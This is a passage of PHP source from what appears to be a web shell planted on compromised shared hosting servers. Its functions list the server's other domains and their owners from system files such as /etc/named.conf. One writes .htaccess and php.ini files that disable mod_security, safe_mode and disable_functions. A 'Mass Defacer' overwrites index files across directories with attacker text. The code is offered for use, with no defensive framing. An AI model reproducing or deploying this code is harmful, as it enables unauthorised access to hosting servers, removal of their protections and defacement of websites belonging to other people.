1321if ($domain > 0) {
1322echo "<h2><b><font style=\"color: #a3e956 ;\" > ~ Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! ~ </font><br><BR>";
1323} else {
1324echo "<h2><b> ~ <font color='red' style=\"color: red; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! ~</font><br><BR>";
1325}
1326$scan = array_diff(scandir('/home/' . $user . '/access-logs/'), array('.'));
1327$domains = implode("
1328http://", $scan);
1329echo '
1330<style>
1331body {
1332text-align: center;
1333}
1334</style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>';
1335print_r($domains);
1336echo '</textarea>';
1337printFooter();
1338}
1339function actionSym() {
1340printHeader();
1341$file = @implode(@file("/etc/named.conf"));
1342if (!$file) {
1343die("# can't ReaD -> [ /etc/named.conf ]");
1344}
1345preg_match_all("#named/(.*?).db#", $file, $r);
1346$domains = array_unique($r[1]);
1347{
1348foreach ($domains as $domain) {
1349$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1350$array= "<br>http://$domain<br>";
1351$lol= '' . get_current_user();
1352if (strpos($array, "$lol") == false) {
1353$shared = str_replace(array(" $lol"), "", $array);
1354echo "<center>$shared";
1355}
1356}
1357}
1358printFooter();
1359}
1360function actionBypass() {
1361printHeader();
1362echo '<h1>Safe Mode</h1>';
1363echo '<div class="content">';
1364echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1365echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1366if(!empty($_POST['p2']) && isset($_POST['p2']))
1367{
1368$fil=fopen($GLOBALS['cwd'].".htaccess","w");
1369fwrite($fil,'<IfModule mod_security.c>
1370Sec------Engine Off
1371Sec------ScanPOST Off
1372</IfModule>');
1373fclose($fil);
1374 }
1375 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1376 {
1377$fil=fopen($GLOBALS['cwd']."php.ini","w");
1378fwrite($fil,'safe_mode=OFF
1379disable_functions=NONE');
1380fclose($fil);
1381}
1382if(!empty($_POST['p3']) && isset($_POST['p3']))
1383{
1384$fil=fopen($GLOBALS['cwd'].".htaccess","w");
1385fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1386AddType application/x-httpd-cgi .sh
1387AddHandler cgi-script .pl
1388AddHandler cgi-script .pl');
1389fclose($fil);
1390}
1391echo "<br><br /><br /></div>";
1392echo '</div>';
1393printFooter();
1394}
1395function actionDeface() {
1396printHeader();
1397echo "<h1>Mass Defacer by PuNkHoLic</h1><div class=content>";
1398?>
1399<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
1400<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
1401<br>file name : <input type=text name=file size=20 value="index.php">
1402<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here">
1403<br><input type=submit value="Deface now"></p></form>
1404<?php
1405if ($_POST['a'] == 'Deface') {
1406$mainpath = $_POST[p1];
1407$file = $_POST[p2];
1408$txtContents = $_POST[p3];
1409echo "PuNkHoLic";
1410$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
1411while ($row = readdir($dir)) {
1412$start = @fopen("$row/$file", "w+");
1413$code = $txtContents;
1414$finish = @fwrite($start, $code);
1415if ($finish) {
1416echo "$row/$file > Done<br><br>";
1417}
1418}
1419}
1420echo '</div>';
1421printFooter();
1422}
1423 function actionDomain() {
1424printHeader();
1425echo '<h1>Local Domains</h1><div class=content>';
1426$file = @implode(@file("/etc/named.conf"));
1427$Domain_path = "/var/named";
1428if (!$file) {
1429$domains = scandir($Domain_path);
1430$count=1;
1431$dc = 0;
1432echo "<table align=center border=1 width=59% cellpadding=5>
1433<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
1434<tr><td>No</td><td>Domain</td><td>User</td></tr>";
1435foreach ($domains as &$domain) {
1436if (stripos($domain,".db")) {
1437$domain = str_replace('.db','',$domain);
1438}
1439if (strlen($domain) > 6) {
1440echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
1441}
1442}
1443echo "</table>";
1444}else{
1445$count = 1;
1446preg_match_all("#named/(.*?).db#", $file, $r);
1447$domains = array_unique($r[1]);
1448echo "<table align=center border=1 width=59% cellpadding=5>
1449<tr><td colspan=2> There are( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
1450<tr><td>No</td><td>Domain</td><td>User</td></tr>";
1451foreach ($domains as $domain) {
1452$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1453echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
1454 }
1455}
1456 printFooter();
1457}
1458if( empty($_POST['a']) )
1459if(isset($default_action) && function_exists('action' . $default_action))
1460$_POST['a'] = $default_action;
1461else
1462$_POST['a'] = 'SecInfo';
1463if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1464call_user_func('action' . $_POST['a'])
1465?>